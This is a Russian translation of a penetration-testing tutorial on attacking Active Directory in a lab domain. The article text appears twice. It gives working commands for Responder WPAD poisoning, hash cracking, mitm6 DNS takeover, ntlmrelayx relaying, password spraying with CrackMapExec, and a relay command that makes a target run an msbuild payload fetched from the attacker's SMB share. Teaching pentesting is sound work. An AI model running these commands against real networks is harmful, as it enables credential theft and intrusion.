Перевод статьи подготовлен специально для студентов курса «Пентест. Практика тестирования на проникновение».
У меня было несколько клиентов, пришедших ко мне перед пентестом с уверенностью в том, что они были в хорошей форме, потому что их анализ уязвимостей не показал критических уязвимостей, и что они готовы к пентесту, лишь за тем, чтобы я получил права администратора домена за пятнадцать минут, просто воспользовавшись ошибками в конфигурациях в AD.
Одним из пробелов в образовании, который я вижу в области тестирования на проникновение, является недостаток осведомленности, когда дело доходит до пентестинга Active Directory (AD). К сожалению, OSCP не учит пентестированию AD, и даже курс SANS GPEN едва касается этого. Цель этой серии — помочь продемонстрировать некоторые приемы, инструменты и методы, которые я использовал в прошлом для успешных пентестов с использованием AD. Это ни в коем случае не исчерпывающее пособие по каждому методу или инструменту. На протяжении всей этой серии я буду использовать Kali Linux 2019 и работать в своем фиктивном домене через виртуальные машины.
Давайте начнем с определения цели: цель теста на проникновение состоит в том, чтобы выявить любой возможный вектор атаки, который злоумышленник будет использовать для взлома сети. Дело не только в том, чтобы получить права администратора домена, а затем выйти.
Теперь, когда у нас есть цель, мы должны выполнить несколько шагов для ее достижения. Ниже (грубое) визуальное руководство по циклу пентестинга.
Автор: Microsoft
Синопсис: клиент нанял вас для проведения теста на проникновение в своей сети, в которой используется Active Directory. Вам не предоставили ничего. У вас нет ни учетных данных, ни границ тестирования, ни пропуска, чтобы войти в парадный вход, однако вам удается проникнуть за кем-то через дверь и найти уединенную комнату с IP-телефоном. Вы отключаете IP-телефон, подключаете ноутбук и обнаруживаете себя в сети. Что дальше? Внедрение.
Без учетных данных мы можем проводить лишь ограниченную разведку, и разведка будет происходить практически на каждом этапе цикла, однако есть несколько вещей, которые мы можем сделать сразу, чтобы закрепиться в сети. Во-первых, поскольку у нас есть доступ к сети, просто проверьте, в какой подсети мы работаем, через ifconfig или ipconfig. Получив IP-адрес, выполните команду ping в nmap, чтобы увидеть, доступны ли другие устройства.
Если возвращаются устройства, значит, вы в деле. Если вы ничего не получаете, возможно, ICMP отключен, в сети нет других устройств или поскольку вы не прошли проверку подлинности, вы не можете обмениваться данными с другими устройствами и, возможно, заблокированы решением для обеспечения безопасности личности (например, Cisco ISE). Ради статьи, давайте предположим, что возвращается несколько машин и вы успешно можете пропинговать их.
Инструмент: Responder
Далее мы будем использовать инструмент под названием Responder, или, если вы неравнодушны к Windows, Inveigh. Эти два инструмента проверяют наличие очень распространенной ошибки в конфигурации AD, что приводит к возможности отравления WPAD и NBT-NS. По умолчанию Windows настроена на поиск файла автоматической настройки прокси (PAC) через автоматическое обнаружение веб-прокси (WPAD). Важно отметить, что WPAD — это не протокол, который выполняет поиск, а всего лишь набор процедур, позволяющих устройству найти файл PAC. Автоматическое обнаружение файла PAC полезно для организаций, поскольку устройство отправит широковещательную рассылку с запросом прокси-файла и получит его. Однако, естественно, он не аутентифицирует, кто отправляет файл прокси, позволяя злоумышленнику отправить поддельный ответ, который затем запрашивает учетные данные.
В Kali responder установлен по умолчанию.
На моем компьютере с Windows 7 я открываю Internet Explorer и захожу в Google, который затем начинает поиск файла WPAD. В Responder я вижу, как поступил запрос, после чего Responder автоматически отвечает на запрос, в результате чего жертва отправляет свое имя пользователя и хешированный пароль (в формате NTLMv2).
С этим хешем мы можем сделать несколько вещей. Мы можем попытаться взломать его или ретранслировать, используя такой инструмент, как
Если честно, я редко взламываю пароли в Linux/Kali. Я использую графический процессор nvidia, который никогда не устанавливается корректно на Kali, плюс в Windows есть HashcatGUI, который делает процесс намного проще, и это то, что я буду использовать. Я беру полученный хеш, помещаю его в файл с именем «hash.txt» и запускаю несколько wordlists/rules на нем. Но в этом случае я просто запустил
Мои настройки для HashcatGUI.
Взломанный пароль — «Пароль!»
Теперь, когда мы успешно взломали пароль, у нас есть учетные данные “Алиса: Пароль”!
Прежде чем продолжить, есть несколько других методов, которые я хотел бы показать на случай, если Responder не работает.
Инструмент: mitm6
Допустим, сеть клиента использует легитимный PAC файл, и ваш спуфинг не работает. Существует еще один метод, который использует IPv6 и DNS для передачи учетных данных целевому объекту. По умолчанию IPv6 включен и фактически предпочтительнее, чем IPv4. Это означает, что если у компьютера есть DNS-сервер IPv6, он предпочтет его IPv4. Также по умолчанию машины Windows ищут DNS-сервер IPv6 через запросы DHCPv6, что значит, если мы подделываем DNS-сервер IPv6, мы можем эффективно контролировать, как устройство будет запрашивать DNS. Подробнее об этом можно прочитать здесь.
Сначала скачайте mitm6.
Затем запустите его на целевой сетевой рабочей группе. Поскольку ранее мы уже пинговали сеть, мы также получили имена NetBIOS, узнав, что целевым доменом является
Вот как выглядели настройки IP цели до того, как я запустил
Обратите внимание на один DNS-сервер
Затем я запустил mitm6
И теперь цели DNS-сервер изменился
Обратите внимание на IPv6-адрес в качестве DNS-сервера.
Теперь настоящая уязвимость заключается в том, что Windows предпочитает IPv6, а не IPv4, то есть теперь я контролирую DNS.
Так что теперь мы используем тот факт, что мы контролируем DNS с помощью подмены ответов WPAD через
С запущенным mitm6 в одном окне, откройте другое и запустите
Отсюда вы можете установить соединение с вашей системой управления и контроля (C2) по вашему выбору. В этом случае я использую SILENTTRINITY, поэтому я использую команду -c для выполнения моей команды, которая в этом случае использует MSBuild для создания моего вредоносного пейлоада.
Но нет,
Который я, в свою очередь, взломаю.
И теперь у нас есть учетные данные сети без использования Responder.
Инструмент: CrackMapExec
CrackMapExec — это по сути швейцарский нож для пентестеров. От password spray атаки и передачи хеша, до выполнения команд, он должен быть в каждом наборе инструментов для пентестеров.
Если ничего не помогает, мы можем попытаться использовать password spray атаку. Есть причина, почему этот метод является последним, и это из-за блокировки пароля. Блокировка паролей не так распространена, как вы думаете, что позволяет злоумышленнику использовать атаку по словарю по именам пользователей. Получение имени пользователя — это первый шаг, который можно выполнить через OSINT и с помощью theHarvester. Если у нас нет имени пользователя из OSINT, мы также можем дать CrackMapExec (CME) список имен пользователей, но ради экономии времени давайте предположим, что у нас есть имя пользователя rsmith.
Если вы в Kali, CrackMapExec должен быть уже установлен, если вы используете более новую версию, но если нет, можно его установить
Так как в результате сканирования мы обнаружили устройство в сети, мы можем дать CME список паролей в паре с именем пользователя и попытаться войти в систему.
Через несколько секунд пароль найден.
Учетные данные найдены!
Это может выглядеть слишком CTF-ым, но сезон: год — чрезвычайно популярная комбинация паролей.
С этими полученными учетными данными у нас теперь есть учетная запись пользователя. Мы перейдем к повышению привилегий во второй части.
У меня было несколько клиентов, пришедших ко мне перед пентестом с уверенностью в том, что они были в хорошей форме, потому что их анализ уязвимостей не показал критических уязвимостей, и что они готовы к пентесту, лишь за тем, чтобы я получил права администратора домена за пятнадцать минут, просто воспользовавшись ошибками в конфигурациях в AD.
Одним из пробелов в образовании, который я вижу в области тестирования на проникновение, является недостаток осведомленности, когда дело доходит до пентестинга Active Directory (AD). К сожалению, OSCP не учит пентестированию AD, и даже курс SANS GPEN едва касается этого. Цель этой серии — помочь продемонстрировать некоторые приемы, инструменты и методы, которые я использовал в прошлом для успешных пентестов с использованием AD. Это ни в коем случае не исчерпывающее пособие по каждому методу или инструменту. На протяжении всей этой серии я буду использовать Kali Linux 2019 и работать в своем фиктивном домене через виртуальные машины.
Давайте начнем с определения цели: цель теста на проникновение состоит в том, чтобы выявить любой возможный вектор атаки, который злоумышленник будет использовать для взлома сети. Дело не только в том, чтобы получить права администратора домена, а затем выйти.
Теперь, когда у нас есть цель, мы должны выполнить несколько шагов для ее достижения. Ниже (грубое) визуальное руководство по циклу пентестинга.
Автор: Microsoft
Синопсис: клиент нанял вас для проведения теста на проникновение в своей сети, в которой используется Active Directory. Вам не предоставили ничего. У вас нет ни учетных данных, ни границ тестирования, ни пропуска, чтобы войти в парадный вход, однако вам удается проникнуть за кем-то через дверь и найти уединенную комнату с IP-телефоном. Вы отключаете IP-телефон, подключаете ноутбук и обнаруживаете себя в сети. Что дальше? Внедрение.
Фаза I | Внедрение
Без учетных данных мы можем проводить лишь ограниченную разведку, и разведка будет происходить практически на каждом этапе цикла, однако есть несколько вещей, которые мы можем сделать сразу, чтобы закрепиться в сети. Во-первых, поскольку у нас есть доступ к сети, просто проверьте, в какой подсети мы работаем, через ifconfig или ipconfig. Получив IP-адрес, выполните команду ping в nmap, чтобы увидеть, доступны ли другие устройства.
nmap -sn 192.168.1.1/24
Если возвращаются устройства, значит, вы в деле. Если вы ничего не получаете, возможно, ICMP отключен, в сети нет других устройств или поскольку вы не прошли проверку подлинности, вы не можете обмениваться данными с другими устройствами и, возможно, заблокированы решением для обеспечения безопасности личности (например, Cisco ISE). Ради статьи, давайте предположим, что возвращается несколько машин и вы успешно можете пропинговать их.
Инструмент: Responder
Далее мы будем использовать инструмент под названием Responder, или, если вы неравнодушны к Windows, Inveigh. Эти два инструмента проверяют наличие очень распространенной ошибки в конфигурации AD, что приводит к возможности отравления WPAD и NBT-NS. По умолчанию Windows настроена на поиск файла автоматической настройки прокси (PAC) через автоматическое обнаружение веб-прокси (WPAD). Важно отметить, что WPAD — это не протокол, который выполняет поиск, а всего лишь набор процедур, позволяющих устройству найти файл PAC. Автоматическое обнаружение файла PAC полезно для организаций, поскольку устройство отправит широковещательную рассылку с запросом прокси-файла и получит его. Однако, естественно, он не аутентифицирует, кто отправляет файл прокси, позволяя злоумышленнику отправить поддельный ответ, который затем запрашивает учетные данные.
В Kali responder установлен по умолчанию.
responder -I eth0 --wpad
На моем компьютере с Windows 7 я открываю Internet Explorer и захожу в Google, который затем начинает поиск файла WPAD. В Responder я вижу, как поступил запрос, после чего Responder автоматически отвечает на запрос, в результате чего жертва отправляет свое имя пользователя и хешированный пароль (в формате NTLMv2).
С этим хешем мы можем сделать несколько вещей. Мы можем попытаться взломать его или ретранслировать, используя такой инструмент, как
ntlmrelay.py
. Я рассказывал о том, как транслировать ntlm-хэши в этой статье, поэтому я перейду к его взлому, так как обычно это именно то, что я делаю на практике.Если честно, я редко взламываю пароли в Linux/Kali. Я использую графический процессор nvidia, который никогда не устанавливается корректно на Kali, плюс в Windows есть HashcatGUI, который делает процесс намного проще, и это то, что я буду использовать. Я беру полученный хеш, помещаю его в файл с именем «hash.txt» и запускаю несколько wordlists/rules на нем. Но в этом случае я просто запустил
rockyou.txt
, и он был взломан в течение секунды.Мои настройки для HashcatGUI.
Взломанный пароль — «Пароль!»
Теперь, когда мы успешно взломали пароль, у нас есть учетные данные “Алиса: Пароль”!
Прежде чем продолжить, есть несколько других методов, которые я хотел бы показать на случай, если Responder не работает.
Инструмент: mitm6
Допустим, сеть клиента использует легитимный PAC файл, и ваш спуфинг не работает. Существует еще один метод, который использует IPv6 и DNS для передачи учетных данных целевому объекту. По умолчанию IPv6 включен и фактически предпочтительнее, чем IPv4. Это означает, что если у компьютера есть DNS-сервер IPv6, он предпочтет его IPv4. Также по умолчанию машины Windows ищут DNS-сервер IPv6 через запросы DHCPv6, что значит, если мы подделываем DNS-сервер IPv6, мы можем эффективно контролировать, как устройство будет запрашивать DNS. Подробнее об этом можно прочитать здесь.
Сначала скачайте mitm6.
git clone https://github.com/fox-it/mitm6.git
cd mitm6
pip install .
Затем запустите его на целевой сетевой рабочей группе. Поскольку ранее мы уже пинговали сеть, мы также получили имена NetBIOS, узнав, что целевым доменом является
lab.local
.Вот как выглядели настройки IP цели до того, как я запустил
mitm6
Обратите внимание на один DNS-сервер
Затем я запустил mitm6
mitm6 -d lab.local
И теперь цели DNS-сервер изменился
Обратите внимание на IPv6-адрес в качестве DNS-сервера.
Теперь настоящая уязвимость заключается в том, что Windows предпочитает IPv6, а не IPv4, то есть теперь я контролирую DNS.
Так что теперь мы используем тот факт, что мы контролируем DNS с помощью подмены ответов WPAD через
ntlmrelayx.py
. Я написал руководство о том, как установить его.С запущенным mitm6 в одном окне, откройте другое и запустите
ntlmrelayx.py
ntlmrelayx.py -wh 192.168.218.129 -t smb://192.168.218.128/ -i
-wh
: сервер, на котором размещен файл WPAD (IP-адрес атакующего)-t
: цель (вы не можете пересылать учетные данные на то же устройство, которое фабрикуете)-i
: открыть интерактивную оболочкуОтсюда вы можете установить соединение с вашей системой управления и контроля (C2) по вашему выбору. В этом случае я использую SILENTTRINITY, поэтому я использую команду -c для выполнения моей команды, которая в этом случае использует MSBuild для создания моего вредоносного пейлоада.
ntlmrelayx.py -wh 192.168.218.129 -t smb://192.168.218.50/ --no-smb-server -c 'C:\Windows\Microsoft.NET\Framework64\v3.5\msbuild.exe \\192.168.218.129\SMB\msbuild.xml'
Но нет,
msbuild.exe
в этом случае не создает XML-файл, и я не получаю соединения с SILENTTRINITY, поскольку это было бы слишком просто. Вместо этого я смотрю на свой SMB-сервер и вижу ретранслируемый хешКоторый я, в свою очередь, взломаю.
И теперь у нас есть учетные данные сети без использования Responder.
Инструмент: CrackMapExec
CrackMapExec — это по сути швейцарский нож для пентестеров. От password spray атаки и передачи хеша, до выполнения команд, он должен быть в каждом наборе инструментов для пентестеров.
Если ничего не помогает, мы можем попытаться использовать password spray атаку. Есть причина, почему этот метод является последним, и это из-за блокировки пароля. Блокировка паролей не так распространена, как вы думаете, что позволяет злоумышленнику использовать атаку по словарю по именам пользователей. Получение имени пользователя — это первый шаг, который можно выполнить через OSINT и с помощью theHarvester. Если у нас нет имени пользователя из OSINT, мы также можем дать CrackMapExec (CME) список имен пользователей, но ради экономии времени давайте предположим, что у нас есть имя пользователя rsmith.
Если вы в Kali, CrackMapExec должен быть уже установлен, если вы используете более новую версию, но если нет, можно его установить
apt-get install crackmapexec
Так как в результате сканирования мы обнаружили устройство в сети, мы можем дать CME список паролей в паре с именем пользователя и попытаться войти в систему.
crackmapexec smb 192.168.218.40 -d lab.local -u rsmith -p ~/Documents/wordlists/fasttrack.txt --shares
Через несколько секунд пароль найден.
Учетные данные найдены!
Это может выглядеть слишком CTF-ым, но сезон: год — чрезвычайно популярная комбинация паролей.
С этими полученными учетными данными у нас теперь есть учетная запись пользователя. Мы перейдем к повышению привилегий во второй части.